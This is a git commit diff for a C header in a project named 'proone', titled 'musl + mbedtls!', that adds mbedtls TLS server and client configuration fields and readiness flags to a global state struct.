diff options
author | David Timber <mieabby@gmail.com> | 2020-01-04 09:05:45 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-04 09:05:45 +1100 |
commit | 129e12d7685a6ea99fde514ad104a0368a19033d (patch) | |
tree | af4148f9f47830aa0eea9ef035bd08c61e8b4592 /src/proone.h | |
parent | 1120c866527fe439fb51e24fc2e512a24e79c37a (diff) |
musl + mbedtls!
Diffstat (limited to 'src/proone.h')
-rw-r--r-- | src/proone.h | 18 |
1 files changed, 18 insertions, 0 deletions
diff --git a/src/proone.h b/src/proone.h index 803af34..c5d3a60 100644 --- a/src/proone.h +++ b/src/proone.h @@ -7,6 +7,8 @@ #include <sys/types.h> +#include <mbedtls/ssl.h> + struct prne_global { uint8_t *host_cred_data; @@ -21,8 +23,24 @@ struct prne_global { int lock_shm_fd; int ny_bin_shm_fd; bool bin_ready; + bool s_ssl_ready; + bool c_ssl_ready; + prne_unpack_bin_archive_result_t bin_pack; prne_bin_archive_t bin_archive; + + mbedtls_x509_crt ca; + struct { + mbedtls_ssl_config conf; + mbedtls_x509_crt crt; + mbedtls_pk_context pk; + mbedtls_dhm_context dhm; + } s_ssl; + struct { + mbedtls_ssl_config conf; + mbedtls_x509_crt crt; + mbedtls_pk_context pk; + } c_ssl; }; struct prne_shared_global { |